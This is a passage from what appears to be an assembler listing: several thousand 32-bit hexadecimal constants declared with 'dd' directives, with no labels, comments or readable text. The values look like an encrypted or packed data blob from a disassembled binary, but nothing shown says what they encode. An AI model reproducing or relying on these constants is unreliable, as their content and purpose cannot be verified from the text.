5F6DC87Dh, 0C3F14165h, 257BCEF9h, 0B8C68738h dd 578A62B5h, 3D750D10h, 25746307h, 42702E8Eh, 0E209FD0Dh dd 1BE984Bh, 164F77F8h, 6A8DF6E9h, 3CE2E241h, 56073B3h dd 0AA599DAEh, 0DCC15065h, 47008C80h, 0DCB0DFF7h, 0EC6F30A1h dd 29132B07h, 0F70C5FFAh, 1E55B12h, 63B0413Eh, 2E5C7E68h dd 0E8A38133h, 0C74A6CCFh, 40DFB268h, 5AD52198h, 0DD217F97h dd 0D8DCDD2Ah, 6B4F8AE9h, 0CE55A3D1h, 5EEC0641h, 0FB64522Bh dd 0A23F6A00h, 12D72F6h, 3085B01h, 4205E829h, 0A6F2E907h dd 0B7945F95h, 58FA4A1h, 81A430AFh, 4B38BCF1h, 0EF04F67Fh dd 4838601Ch, 0A98B83FFh, 0D778E8EDh, 0C812CCEAh, 0DC8CE913h dd 0D320FBA3h, 6B3500B0h, 61AF6E40h, 29D444D9h, 5F9390DDh dd 4FE9C5B4h, 2D48822Eh, 564A5DFh, 4F6E54BFh, 0EC645000h dd 0C14D454Ah, 38081B8h, 93A008EDh, 422FA8A0h, 0A2ED587Bh dd 3CFADC4Ah, 0DD67BB5Fh, 6802C030h, 320BB58Ch, 5972707Eh dd 0DB51E9C3h, 6C291208h, 5080ABFAh, 0E7D05888h, 0E20F625h dd 144E57A3h, 5439DC95h, 0CDEDE918h, 0BD0E2C3Ah, 52E81A78h dd 0C0BEB603h, 0B96603E6h, 0F27A44FEh, 1AF4C5CDh, 35C0B020h dd 0C0065B9Dh, 0F1372A30h, 653E2D04h, 0C4AA7630h, 0E90704F0h dd 2912FBA2h, 6DB76DBAh, 0F129CF7Ch, 0AB3F6F12h, 96FEE535h dd 51BFE6BAh, 0C58C132Ch, 0E361BE7Fh, 0AA2A5B17h, 0B9303429h dd 78162D92h, 47F76C6Ah, 6A18087Dh, 0E7585E0Eh, 0DF79419Eh dd 2E214A53h, 6E10F3ACh, 0A4295F12h, 5BF80588h, 0B800B79Ch dd 224B3B0Bh, 2C3AFE2Dh, 891168Ah, 0BF016502h, 40FC345Fh dd 16AB1A30h, 0EC491125h, 1A8B5F9Bh, 5915CE04h, 77A5C048h dd 3FE301C4h, 0B6E9AD80h, 0A2DBB10Eh, 2752906Dh, 3068598Eh dd 6F28120Bh, 1409CB4Bh, 573E1003h, 0CF292D80h, 7CC3F987h dd 0CA9EB7C1h, 8DC25D24h, 0B110256h, 1D8DB802h, 7E550199h dd 0F3CD3DA2h, 59C77779h, 29167E52h, 0F77761F0h, 249D8h dd 863D78CEh, 95745E60h, 182C9647h, 429209E9h, 312CE068h dd 0B239B7E8h, 61DA6532h, 680160A9h, 2485C45Fh, 0A1BC5B4Fh dd 0C3ABB585h, 0ED9923BFh, 6B4AF560h, 76B96200h, 9710292Fh dd 0A0B9137Fh, 9896E898h, 0CBD34D76h, 0AE4B6A48h, 1CC0A014h dd 4126C15h, 7C31D08Dh, 88DC1D60h, 0CF0405F0h, 2D7EBB72h dd 13153BEh, 4D4382AFh, 2DE82E13h, 0F158C72Dh, 4A98F397h dd 9332AD57h, 0AF56A732h, 6706F00h, 0B956822h, 59DDF98Fh dd 0F12021F6h, 183F611Ch, 6D1E15FCh, 0F5AC3D80h, 0ECF65A67h dd 0E9F5EFA0h, 0B87BF9F1h, 0D1D2A778h, 1DD65551h, 5039F25Bh dd 575E3B95h, 0AF5B8997h, 4A95E7CCh, 0FDC15D02h, 0EF4F8538h dd 0B9F9F829h, 5E7E0538h, 7E4CB677h, 0C9A94279h, 0F74D30F1h dd 0EF207FB0h, 845F50F3h, 0A0312A3h, 60A4EA09h, 0AA37169Dh dd 0D19D4F3Ah, 0D0F71698h, 16E9B01h, 44DCE9EEh, 12BACA3Eh dd 998C10F0h, 0B7854062h, 80FED24Bh, 301BF11Bh, 4E27CE7Fh dd 0ECD3128Bh, 964C5D40h, 0A5CBBF4Bh, 7FC0292Fh, 1812FE05h dd 0D056E8Fh, 0C53C93BEh, 0F3AF4E5Eh, 77D41740h, 9F7CA4D6h dd 4CF443EAh, 0DD192F54h, 66C66618h, 4A5D5280h, 8516EE89h dd 5AB219ECh, 55965D7h, 0AA79BFE9h, 529F48B2h, 0DB5DBA46h dd 7C421193h, 0DA02ED83h, 0E312BF66h, 0B8E8DE84h, 90E68A4Ch dd 77028FA4h, 8E289572h, 7C0E03F6h, 0BCCDE02Ch, 3B262E17h dd 50D7028Dh, 486339EAh, 5BE3B01h, 4E0A9012h, 0C61EA639h dd 1E300C3Fh, 8B980512h, 0DAE68774h, 80978376h, 374A5803h dd 17C79A0Bh, 0F37B7168h, 20EA0BA4h, 95EA60C7h, 7908E418h dd 831B9829h, 72F41308h, 35CBBBB6h, 68B0E14Ch, 33A82FDEh dd 1C5AE2E9h, 255FABD0h, 5042BD63h, 201FAB57h, 14932D55h dd 290C0A52h, 1D0705C8h, 5CDED7E9h, 67A7259Ah, 0E864C6EFh dd 0E05725FBh, 0B9BA5765h, 0B85EFD7Fh, 7D254AC0h, 38E60116h dd 42980D40h, 0ECB5D7F8h, 6D169262h, 0FA9984ABh, 0B86A2EF5h dd 272558A8h, 0E467AFCh, 630B97B9h, 88460252h, 25F5639h dd 0FE3BBAB6h, 807D7A2Bh, 7E0768AFh, 0D80D5B32h, 7695919Ah dd 1A552FC3h, 457E79DAh, 8BA3EF58h, 8862B117h, 0FAA05D39h dd 0F3A23CF4h, 782A00F7h, 95A54D5Bh, 0EB4F6DF4h, 3932FF75h dd 6B880CFCh, 8DBE0190h, 204DBF6Dh, 3D16C12Ch, 70EC2729h dd 12DC7D9Eh, 0ED4D3A13h, 13EA3C86h, 0DDF84325h, 8957C9A2h dd 5A9A548Dh, 0D5CBB574h, 0E0F7591Ah, 9DCF0164h, 0DDD31B5Ch dd 0DF468809h, 6813974Ch, 80323158h, 692CD65Eh, 18952D3Eh dd 4A15E976h, 0FF75AA9Eh, 3A786E21h, 602D1E80h, 1419F37h dd 3025C67Ch, 72AD5E82h, 0E9FB215Dh, 7D93709Bh, 0EDC6BEEAh dd 0EF7AA125h, 0C20D2055h, 140A186h, 2511527Ch, 0C6FF5D75h dd 5691FA06h, 0FE7B3CAAh, 0F5F6B7DDh, 56C05B45h, 721925EBh dd 2FDAB58Fh, 0AA810882h, 8B36E7E9h, 40E2C172h, 2020A8BDh dd 9B074790h, 0E9A09E62h, 59206209h, 9AE9E1D0h, 0C18A3C63h dd 0B7C264Ah, 7B485E2Ch, 6E4BC702h, 0AF5F4D72h, 95014004h dd 0BD31FDA1h, 0D30D1C4h, 0A4B24A6Ch, 0FBFA4A30h, 69502A32h dd 612FAC54h, 3ED602B6h, 0F1FB0E34h, 6A23F50Dh, 92EF234Bh dd 4AACFC8Eh, 3D1F0447h, 52A1D040h, 3514EEBAh, 1827093h dd 9233B61h, 92B1DE9h, 2E165CFCh, 340E4FEh, 6B6E3168h dd 26C3B15h, 0DA1E624Dh, 0FC8EB7C0h, 41652D6Fh, 78B3EA6Bh dd 0A58DA310h, 0C813F2ADh, 0B737EB5Dh, 99A4AA94h, 61A70CC3h dd 0A20C0EC4h, 6B860B06h, 4EFF17E9h, 84BFE95Eh, 8006D7E1h dd 0E74BA6C4h, 0AFDB24EEh, 83D9490h, 0E3E988F7h, 5E528C4Dh dd 95502DE0h, 2C89AD65h, 49E05E34h, 5B671400h, 0DC9538B8h dd 46C65297h, 0E74FE912h, 3D35368Dh, 0FA4CA441h, 59CB903Ah dd 6A5BFD17h, 5B7EC8B8h, 0BE721232h, 5BB940D4h, 83FD8A29h dd 3E6B2B18h, 83000C73h, 8956C174h, 4BE8E9FEh, 8883906Dh dd 10B02F10h, 5085CD04h, 55801437h, 98E23193h, 3BF42F89h dd 0F701C330h, 0D59CDD9Dh, 0B58E92Dh, 130FF74h, 7C82384Dh dd 0EE6AEE3Fh, 0D55209F6h, 894F985Dh, 5AE8E5CAh, 3D2D0459h dd 0BB7E4274h, 2A6BBC61h, 183E1025h, 5EF30819h, 58AD868Ah dd 7F848B1h, 0A57C7704h, 4ED4B034h, 836D1207h, 0F69001C6h dd 5EF00B5Eh, 0A8F4819Fh, 0B9A26FECh, 0D293E60h, 25814F74h dd 0DFE90D8Bh, 0A0B26560h dd 0D9C7801Ch, 0EF5DD71Dh, 4F56AE7Fh, 1CD4B880h, 0F2578E0h dd 64296DF5h, 0BF53D9E5h, 54C932E2h, 2D9703D5h, 0E7BF847Ch dd 8B87866h, 9FDB9F20h, 81310CD8h, 5AD60F5Ch, 4BACD8A0h dd 0E6EBC42Ah, 41487D26h, 0B0165FA7h, 44333DEEh, 0D3F0BEF9h dd 8B409B51h, 5979854Ch, 840DF8Ah, 9D01564Bh, 564E4966h dd 0B0E310F7h, 0E95CB54Bh, 93FE080Eh, 4FC92BBh, 1F54740Eh dd 508DFF34h, 3EC5770Dh, 7591C83Eh, 9074E63Dh, 483B77F0h dd 0CA789E17h, 9A5815F1h, 0DFBB25E7h, 7D000E89h, 0EA91095h dd 2DECB880h, 0D676B1D1h, 336BBC0Ch, 0B50D17B3h, 92CF08F4h dd 498EBD02h, 23A5E0B6h, 0AA14D656h, 976B2498h, 0E7D48A09h dd 2D08EE17h, 4721058Bh, 16A2AB1Ch, 6539FA97h, 4AA1E9F0h dd 0D5EEB47h, 0D34E960Bh, 54528F09h, 0F77843ABh, 53D83001h dd 806BB151h, 61FE45F0h, 0E1C004C9h, 0F4C1E806h, 1CF6885Bh dd 0B38F25Ah, 100B07E9h, 252F15CFh, 8BFCDAF0h, 0F60F9D20h dd 0E0485D0Ah, 0DFEFEEF2h, 232D8810h, 9A61519Fh, 0DC512A68h dd 0F42D96A6h, 0F11E45A2h, 0AEB53A5Fh, 2E03B56Bh, 0EFB41BA2h dd 0B259DA02h, 0F305C2Bh, 8532E952h, 3577FBAAh, 0CCFA4074h dd 609C9932h, 0D8A7E90Bh, 3A04243Eh, 2671028h, 405A21BEh dd 98E7783Eh, 65690A35h, 38235D4h, 411770E9h, 14BFCAE0h dd 2576AC24h, 0DB2EE202h, 0CB13E172h, 88D8B503h, 0C00059EBh dd 0C3FE04E3h, 5E39F380h, 7DC2AC20h, 1425565Ah, 0FC1529BAh dd 0E9165E53h, 0D2FACD3Fh, 7077EFBEh, 0A05B5F92h, 642D6839h dd 576F342h, 0A130528h, 0CAF75ACFh, 18B60B2Dh, 9A399475h dd 0D2969D2Dh, 6AEA10B5h, 5C02E653h, 702D0755h, 0C360F3D6h dd 60E01F0Fh, 3FCF0C50h, 0C1173942h, 2D0903E3h, 29FF245h dd 68F5138Ch, 0B9C2E809h, 5B9F3950h, 4E12E82h, 0FE3DFB68h dd 887B1069h, 7782F269h, 654F8256h, 67D7FBCCh, 90E83164h dd 10C9B802h, 4A425D70h, 0C205A772h, 3195428Ah, 0C1DA24ABh dd 87A023CAh, 2793C323h, 0DE89B2A1h, 44F68682h, 0ABD85358h dd 0F3A4D701h, 0AA06E929h, 9F9B96Eh, 8325B252h, 0A60D7577h dd 90E916C9h, 835F44Dh, 63FB1504h, 20EAD631h, 6F1E68C5h dd 2E66CBFh, 0E93C4F05h, 0E7C449FEh, 0C77BDB0Bh, 94E10033h dd 90422D68h, 3EAB74AAh, 0ED021D61h, 1C8A100Eh, 97FCC85Fh dd 107D976Fh, 80347884h, 7B1D81B9h, 873D3955h, 662B3F59h dd 0D2730A5Fh, 7FB342EBh, 0BB9445DBh, 152D7DA5h, 29C05093h dd 3AB36A63h, 426C036Fh, 0D072880Bh, 5A58C713h, 4669C09h dd 0FCBE498Dh, 0F15589CDh, 72E96246h, 4C89B1D6h, 5B37B078h dd 0D418287h, 0BFE250D8h, 902F5CB8h, 1754D33Ah, 2B0AB138h dd 1F84F5E4h, 4B2FEC3Dh, 0E5207361h, 0C5D18F27h, 0C9F67E95h dd 6851C8D5h, 0AD5A4FE8h, 0CFBEA5B1h, 51680A9Ah, 0BB825E1Eh dd 0DD872A0Ah, 4019743h, 6756EB81h, 10852011h, 2793CEE9h dd 2138F0A9h, 0E0F85875h, 5E05F2B7h, 0B0A7B8E6h, 7E2655B2h dd 15F3012Fh, 0E90EFD18h, 1F92BFFh, 0F50B4707h, 9529B43Dh dd 3C16BC98h, 1C6ADAAh, 54AE6819h, 6750D424h, 72DE632Bh dd 0E8E69B8Dh, 104C21A0h, 0D8230C27h, 0C4EE78EBh, 0CB215539h dd 0F4C701ECh, 114993Ah, 18BC847Fh, 70381C08h, 0D5BEC14Eh dd 0EC28BF2Ch, 303DF4C7h, 0E9402C9Eh, 1AC108ABh, 2D5EF009h dd 48796030h, 0AD05BA77h, 0C612D056h, 1E88D14h, 665DEF2Dh dd 0D749781h, 0DC118971h, 0CD412432h, 9FE6475Dh, 81AC0993h dd 407D1855h, 19ACBBA4h, 0A851B48Dh, 0CCBF6C1Dh, 6E2D12E7h dd 0FBF0AA26h, 3B4D18CDh, 86E55ECCh, 33946405h, 30BC71E9h dd 21145A3Bh, 0FB8FEFA4h, 0BE30AB27h, 0D8293A4Bh, 88514910h dd 6731F57Dh, 1A6FD339h, 277D6823h, 2194A995h, 2414F595h dd 6E62DA09h, 74A0F569h, 5BAE672Fh, 3A253EB0h, 0BE7A079h dd 98AD657Dh, 0EB29FFC5h, 589F839h, 6E7F520Ch, 0CB65B777h dd 4AC285C9h, 1352CFAAh, 0F48960B7h, 5E2CB9E1h, 93FB8714h dd 5F3FCA1Ch, 5F4B494Fh, 55B61A7Dh, 7E9781D2h, 0D4880F6Bh dd 7FA9766Bh, 27FDEF5Fh, 32089929h, 8D9B9BB2h, 3A5CE2D1h dd 95EE0190h, 98712718h, 4D089156h, 0BE660303h, 24A65D69h dd 0F6301E2Fh, 0A9754B83h, 0A40F52Eh, 0EB4BC158h, 0C0918C7h dd 14DD2427h, 8EDE08E9h, 0A1AAB5A7h, 6F49717Ah, 0BDE449BCh dd 78C61254h, 55C1B3BBh, 10CE3D7Bh, 0B04E8FA2h, 20170CBDh dd 0EDA20115h, 25685B07h, 0E5570B72h, 87D1163Bh, 5A709085h dd 1E09B151h, 5D02E1C0h, 800870A3h, 0AFC1879Ah, 0D5813EE7h dd 890269C7h, 2B5772C1h, 0B3531D20h, 0DBF60565h, 0C180E3D0h dd 22DC881Ah, 0F481DFCDh, 12D7687Ch, 0B202A873h, 0D5F2E9B6h dd 5C4022DEh, 91629A68h, 0B126BCFAh, 0BF8AAA87h, 0DE4BF694h dd 0E3FC3184h, 0E0F2AC5Ah, 964D52E9h, 0EEE9A7DFh, 767AAF30h dd 0BC7F5AA3h, 6CE91613h, 0AD6BB432h, 0A97FD341h, 3D680181h dd 59188048h, 0C2DB173Bh, 0E1FFE9C5h, 147084ECh, 5F79D0Eh dd 0B3AAD8EFh, 8864C357h, 0AFC06102h, 0C2164168h, 0AF26F377h dd 8B09AB5Ch, 0AD16D17Bh, 5520B25Dh, 6D86BB00h, 0B902172Fh dd 0E8D0927Eh, 0EC907701h, 61498FE9h, 87F32E80h, 4951570Eh dd 7C420447h, 322ABE00h, 0F7F44861h, 847790AAh, 6BC506A6h dd 74EA7C56h, 8BB9BAA1h, 2DADA6A5h, 977A78F4h, 2F5C7FEAh dd 0BD18A670h, 2629086Eh, 5BB9055h, 67B6E953h, 21688B42h dd 25A2721Ch, 9F56DE88h, 0B6AC68BBh, 12EDE617h, 30F1C500h dd 0DD686F4Ch, 3B3054Eh, 0BE484304h, 1BC7AA63h, 3C6F56E0h dd 0EEFA4E87h, 11806689h, 0F40B02C2h, 254AE96Ch, 1CD7CD14h dd 0F72F41ADh, 6A90299Ch, 0B5893340h, 717580E2h, 0F1DE720Ah dd 0DCFA3A35h, 2F4B2E24h, 909066FDh, 0F4620327h, 4A9BF155h dd 73C424C8h, 5ECB49EAh, 0A233F1D8h, 21DDD509h, 3B2004CBh dd 766CB817h, 98EA283Dh, 0C33159BFh, 0DC0D2837h, 0E0344DE5h dd 81D1CB24h, 6564ADBDh, 7F6D332Dh, 802ED224h, 7C6BC789h dd 11F46694h, 265232FAh, 4AEA100Dh, 0A6A13125h, 3B8D448Ch dd 17EE76E0h, 15C6A70h, 9B11755Ch, 0F90A3F49h, 5F02D942h dd 5FFD1E41h, 0C1294505h, 733309C6h, 1487C43Fh, 0E47FAF62h dd 2E742596h, 5F95B6E6h, 0E55E553Ch, 1AE1AE12h, 4279FE2Eh dd 40C0A96Fh, 0D15DBCE5h, 0D9041C53h, 0E8283183h, 0C51EA52Ch dd 0D3DFE94Fh, 447668AAh, 1CD2FF3h, 0A08DA87Bh, 2E58576Dh dd 81F245E9h, 7955E6BFh, 9187303Fh, 4AC2F782h, 9F95C6FFh dd 6D9A2121h, 0B45D6174h, 0C252821h, 2835C83h, 21E53544h dd 9CF83284h, 40BD6D4Eh, 1EDAF203h, 0D6EB8ED1h, 0D5C059EFh dd 0E01E8505h, 2096E83Bh, 95BA0AC0h, 9046902Dh, 43766404h dd 18D3BFEBh, 0DBD2B729h, 473048B3h, 34982F4Eh, 351F8945h dd 681C4C98h, 533B59D9h, 3392318Eh, 0EBDC8BE5h, 68828FE7h dd 22A74CFEh, 0AAEEC45Dh, 2DEAD013h, 161240ABh, 625CDE6Dh dd 0C99F272Dh, 58325A87h, 131BF502h, 0A84123D0h, 441E35ABh dd 0AAE38060h, 6095DC0Fh, 534A4EFh, 3CE93563h, 0F6DCFF42h dd 0F2FFD054h, 0FAA4844Ah, 0F84F2C8Bh, 0FDA84F46h, 80A6A0F5h dd 2D689C40h, 77D42D89h, 97F7863h, 10E2B91Ah, 0D1F7C702h dd 2B0698C1h, 124667EBh, 0DADE4002h, 7FDA6964h, 57608B30h dd 7A12C7BFh, 35EF3BD0h dd 188CFA39h, 4B4A72Ch, 0AEA7DAE9h, 2596C9E4h, 20D88641h dd 1EEC1690h, 42173A09h, 4C4A054Ah, 93D45CECh, 0D930D580h dd 0F72D4E7Ch, 470E40D6h, 0E16C4CACh, 5C5EF518h, 0A32661ADh dd 0F2168031h, 0FF5E4BB3h, 5D5F0049h, 0F85D27C2h, 4D5A7FAFh dd 3118CB93h, 0EBEECC3h, 75333427h, 2C69F01h, 6B7A20D7h dd 0A4B65A5Fh, 4A8BAC97h, 9CE8919Dh, 0B5619832h, 82A481D3h dd 35FAFC12h, 57C98869h, 3C68551Eh, 73A2109h, 0F71E50Ch dd 0C9F423Dh, 4C664AD1h, 11B903A2h, 0C85A78FEh, 0AE5AF7ECh dd 9E14006Ch, 9F680495h, 2A47CD54h, 0B04C63CAh, 0C3987C20h dd 0B64F480Eh, 0EEEFC072h, 9A6C502Fh, 0F6816DEh, 0E9829866h dd 3C653E33h, 7274A0B8h, 94C1F471h, 5DBF0E30h, 0AC7932A5h dd 0C5687BA0h, 283F0BCCh, 1527CDD5h, 0B9371842h, 0B4BB30Eh dd 0D87EF7F3h, 449A0469h, 0FDFBE00h, 569D6394h, 77510238h dd 0C20F0213h, 0DEE5BBBAh, 782D007Ch, 1050C20h, 7A3C873h dd 0C33DAEC0h, 92E97B1Ah, 2ECC00BBh, 94524D0Ah, 0BE566006h dd 5F24B94Ch, 0A80247D8h, 4277FF0Bh, 5DE4FD87h, 0DFC0965Fh dd 0F0C39D61h, 10366131h, 405EF109h, 9A3ADF81h, 4FF2648h dd 5D8229C9h, 20BF57C0h, 4B3C2574h, 890007Ch, 5482AC02h dd 157C3123h, 2DBC1708h, 0B82ED956h, 0B5021658h, 0F5CBFDD1h dd 3CD28F10h, 25566DB7h, 0A870D57Eh, 1600E29h, 6862C383h dd 0D6B1484Fh, 0C7CF6E53h, 0A09EEB96h, 0E99D5B31h, 1D0E2FB1h dd 13D80F5Ch, 0CD44D12h, 9F5AB8E4h, 871E454h, 46106E3Dh dd 5FE482Ah, 75CD0AE1h, 0DD0EE1E8h, 0F8F6C4BEh, 39FED7B4h dd 2280F22Eh, 4165DEE3h, 0F508324Bh, 737027C6h, 5A61930Eh dd 0A2C9CF2Ch, 60528D21h, 3055A24Bh, 0A424389Bh, 0AF485A87h dd 65B95A21h, 9F8EE90Bh, 432E4FFh, 0B21295BEh, 0E26C8065h dd 23768436h, 6F0EE609h, 7C800974h, 6168093Dh, 9BD8198Bh dd 0B084D797h, 0C8E658FCh, 43CA264Eh, 33C70231h, 0ED8022CEh dd 0FDB5EF44h, 0F512CF9Ch, 0B886DE83h, 0BF66C3FEh, 0EBE48170h dd 4F09D19Eh, 0B6D84B28h, 13681206h, 91AB307h, 0DDAD4BFDh dd 3FE03C80h, 126641Ah, 82056FAh, 0F996D696h, 40549A2h dd 0EE7CBB35h, 89C604C2h, 1167FD08h, 6172B626h, 53967235h dd 5D81AFEFh, 0D120C729h, 615D823Ch, 0E36F586Bh, 0D0BB8552h dd 5A1710A9h, 0C10400F9h, 31F1CB18h, 82A55CB7h, 83164572h dd 752458FFh, 0BD42C3A8h, 31DA018Fh, 0D6A4EF80h, 5D907078h dd 0D5F91041h, 684B436Fh, 79160FBEh, 0D4A43FFDh, 408B95D6h dd 0C161E245h, 0E02B18E8h, 0C3E8D840h, 0A1BB08D3h, 96E2A5FCh dd 8AE910D7h, 0EC5C2701h, 4ADA317Ah, 7F752423h, 9A09B764h dd 93AA1319h, 0A9EFF428h, 3EB9D7FAh, 0FFF1AB12h, 120D9676h dd 0A8057A68h, 4A5FC4E9h, 0B70431AEh, 58C6BA4h, 0E26116AAh dd 97B43427h, 0C65DD25Ch, 8A07EE0h, 2F219C0h, 0B53C7A22h dd 245E7AC2h, 7B282BC3h, 3BF50029h, 0CD29A232h, 51245859h dd 0C601A856h, 894C4557h, 0E94E9005h, 0CE9D2B81h, 18D490BCh dd 5C4047EBh, 0BF8021DEh, 0C7221262h, 0F350A423h, 1D499D0Ah dd 9507C330h, 0C1C173Fh, 5AAAB026h, 0DF67C143h, 3DBD0037h dd 84B267Ch, 0BED0753h, 0BD39A562h, 201E06E4h, 0B1C40ADh dd 0DAEC34Ch, 5C2FB1D6h, 2762C44h, 9041087Ch, 70CC827Dh dd 0F448DF60h, 5C81CE2Dh, 407B4AF1h, 0B3FEF58Dh, 892CA3B8h dd 7816D1E8h, 140A63FAh, 2D3CBAA4h, 14716163h, 9059EC88h dd 5E307958h, 9C6BD5Ah, 0C1BA724Fh, 227BD6DFh, 0B0C481Eh dd 0E1463280h, 393F5B7Ch, 0E0CCF88Bh, 0DD8B0A9Eh, 0E842301Fh dd 3ABD8116h, 8970E5F5h, 2FD541CAh, 871CBCF9h, 0BC0DB5EAh dd 0F49DD64h, 884C7D2Ch, 0D0685C0Dh, 0E4D18355h, 64F72D00h dd 1276A0Bh, 5B0302E8h, 0C1974A0Bh, 2F60E07h, 6741F988h dd 814502CFh, 0EC4DDDD8h, 0BAD0F420h, 545BBFAEh, 743F846Dh dd 0AD03FEB4h, 25649E1Eh, 85E6ACC0h, 1126D033h, 9C32F902h dd 10BCA33Bh, 88585457h, 5B21CF5Bh, 0C39054E3h, 93E3A84h dd 0B93E555Fh, 9DFECC20h, 7056D569h, 0A03F4C1Eh, 3549936Fh dd 0EFF2894Eh, 92FC14BDh, 4032F5FEh, 0B60CA964h, 44C46E5Eh dd 20BE95C1h, 0B6592C98h, 5F0B26DAh, 88FB2936h, 0D38908B4h dd 0EFC7575Ah, 4115572Dh, 1C9F9E95h, 0D9A7F088h, 0B9203836h dd 1DBD5502h, 80679F74h, 0EFABC1EEh, 0D8E917A9h, 0DE74BD61h dd 0BF5E52CAh, 275FDEADh, 0C4E246Bh, 0D2E930D3h, 0CD3B5F2Eh dd 3BC3A1D9h, 4210D4A3h, 74BE2F40h, 8A82B086h, 3F0C546Dh dd 475DB3E9h, 878C05EBh, 8121C999h, 68B146F4h, 9868C27Bh dd 0CE985D22h, 66B57E28h, 56C738CDh, 8239FA4Fh, 0C297B32Ah dd 0D9500A68h, 28E38907h, 0EA09EEC6h, 45184E78h, 4155133Ch dd 0A330BBF1h, 8BF66F25h, 0D411A48h, 0CBEEC03Bh, 4B24051Eh dd 0C6020255h, 764D3226h, 90D228E9h, 7D2A67FDh, 0F99974E7h dd 0A6FA9286h, 7A2C9286h, 0E9520853h, 0B30151F8h, 0E0CB807Ch dd 0E14839E8h, 0A183B96Fh, 913A3AA6h, 0F4050256h, 0B17D44C8h dd 0D5BAD525h, 0EF7D799Bh, 0DC81F225h, 21D45244h, 0E5C00612h dd 7709B8h, 0D0F77238h, 9E515525h, 282D6000h, 350B6469h dd 541A0EADh, 36C04070h, 0E9B723DBh, 42EBD730h, 0F056EE80h dd 0B92F60BAh, 0A27F05F6h, 0A35F6E7Bh, 40B94C1Ah, 2F802042h dd 0CE0408DAh, 9E908C89h, 0D75E8BB7h, 48A7E8CFh, 0B5726431h dd 0C72F3012h, 3B50C96Bh, 0AE2DBD04h, 0D4A067A2h, 25C37F89h dd 0D4DE35D2h, 935A847Ah, 0F70F31BFh, 55C21265h, 0EE5E3A24h dd 98FAEDC4h, 605A924h, 16E94B37h, 2E3E754h, 6ECC7E35h dd 0A2F47549h, 996D02Dh, 6597E967h, 8CC245Ch, 28C80BBFh dd 5CB222E8h, 4FE0EC00h, 0FC074EEh, 58534AB5h, 55539A29h dd 0EA20A04h, 0A0809F18h, 21310DA4h, 1A1576B8h, 0EAA3537h dd 0F3425E12h, 56DB04FAh, 0E4A1171Ch, 4E78536Ah, 27707B8Bh dd 98C57F5Bh, 0EC276724h, 0F1681814h, 0C4161F18h, 0FBD88383h dd 0D9949319h, 186321B6h, 181BA55Eh, 527DB9ACh, 0A6A2C32Eh dd 0F8A81617h, 9A6BBF4h, 0E939C85Ah, 816DB4Eh, 0A0507BA0h dd 3B4983CCh, 0AE521394h, 7B0A1A3Eh, 2C060558h, 26910849h dd 2C54B102h, 3A87FED7h, 3128EF4Bh, 6BE91353h, 76FEE4F1h dd 51D34F12h, 0C403BA0Fh, 810FC313h, 313A7301h, 22827B2Fh dd 2088BC6h, 576CD353h, 26090FECh, 7501EB0Ch, 4C0D46E8h dd 4C1EF33Bh, 0A240C29h, 16211806h, 0FA2E9E57h, 74081D6h dd 365A5FB5h, 4E72BB01h, 0D1955CF4h, 132D2CC6h, 68D5F0DEh dd 0D260100Fh, 8A08461Fh, 7659514h, 3E319149h, 9F5A1674h dd 71A7DA47h, 22950856h, 68D23107h, 0F0A35684h, 5F0BF611h dd 3F822DEBh, 5AD0C041h, 753C2EE9h, 0CCAFB25Ah, 2C6893C2h dd 0C25A54A2h, 5A2A1DEFh, 6C1B78Ch, 7DB02FAFh, 281BD0F6h dd 0E984E806h, 278394FEh, 68580FFCh, 755A6277h, 10791F0h dd 68789BCAh, 312D5E77h, 89465D74h, 94E8643Fh, 322F95DDh dd 4A20B9E9h, 0B32EC105h, 35484501h, 76AF2F23h, 983B1321h dd 0EC9F5F26h, 53599759h, 4A21D50Dh, 7EB28A3Eh, 1CBB7759h dd 0FF0FBDB9h, 0D2B04B36h, 0F64AD7B6h, 3AF2D670h, 35BE50CCh dd 95584640h, 2905AF16h, 6B6C68D8h, 412E25D8h, 52FF2F06h dd 0D33E01B3h, 0DB1BAB10h dd 0AAA0BFDCh, 839D4EE9h, 0B8B25E41h, 0ED9FDB74h, 0F9580985h dd 18487BEDh, 891A7D09h, 86B332DFh, 18780398h, 4F92E94Eh dd 0D49DE389h, 0C9C2541Fh, 0C856D9E9h, 27446B42h, 0E0D54509h dd 97D40202h, 60AF66DBh, 39FE872Fh, 96BF731h, 493E375h dd 0B8F5E918h, 0F5ECEAFFh, 0D18589B7h, 0C9A7AE08h, 68D68705h dd 0B361BF47h, 313A7660h, 4A3995h, 3926BF57h, 878BDB0Fh dd 6E4251CFh, 0B480EC3h, 2C831C8Ah, 56B75F38h, 2BE2A1D3h dd 0F4DAA222h, 0AD14C31Bh, 5BEAD312h, 0E846B709h, 801A12F2h dd 0CA0E2858h, 7422C59h, 0D64B04D0h, 0F04A16AEh, 0BD75BB10h dd 0D46AB22Fh, 41682798h, 68281BA8h, 0AB03D571h, 0C165FE46h dd 707A18E3h, 86C2C34Ch, 3AF9EE1Eh, 0A26223C9h, 5D106980h dd 5002404Ch, 3005E7B8h, 0D595613Ch, 0D7F2BB80h, 908123Bh dd 6D25D67Dh, 7EB7A019h, 141D51Dh, 0A05C4FBEh, 82DE315Bh dd 685EF106h, 2FD1D5ACh, 86C9887h, 743AE9F1h, 5989C96Fh dd 52F02EE6h, 0F53E5FA3h, 0DC0A3029h, 612D59BEh, 0FFEB57C8h dd 8DD3F5F9h, 4947F8A7h, 0F62C0785h, 0BB2B17C6h, 491AFE04h dd 2E3F9DABh, 41E15CBDh, 934AFE6h, 0C4A58960h, 0CAC0A0AFh dd 1CF38875h, 775F4902h, 0D757D3F7h, 0C6DDE962h, 0AD9C4DD4h dd 0E1155F3Fh, 1913C5A8h, 0C4EFFC1Fh, 8EEC2A8Dh, 0B829D2CBh dd 6D200758h, 1E78B01Fh, 416C97Ch, 0A25AD531h, 3208588Fh dd 5FBD440Ah, 2C902DF8h, 2A37E1F9h, 618433F7h, 555B01ECh dd 37305053h, 1ABC560h, 5147A30Fh, 0F2247BFAh, 8535D0EFh dd 74694137h, 3521FF0Ch, 6A7F0AE9h, 0AC7A8099h, 23761722h dd 7D432820h, 4E541F91h, 968C4B46h, 89506B21h, 5859CCF8h dd 1908A091h, 0A2BA120Dh, 3C8441F6h, 87F53806h, 55F248A6h dd 42C4BD10h, 0A1334B0Ch, 3AC32164h, 680BC1BCh, 25D94BB9h dd 502B098Dh, 0AA07EB3Bh, 68B911F7h, 1E6DBAD2h, 8C48F50Ah dd 0EA2BD51Bh, 5824E5E4h, 601535FEh, 0CB291DB4h, 2697AFCCh dd 752309B9h, 0D9740126h, 3AE1ED13h, 0CB2A5061h, 0A4F85B71h dd 7ED4A05Ch, 0C4629A2Dh, 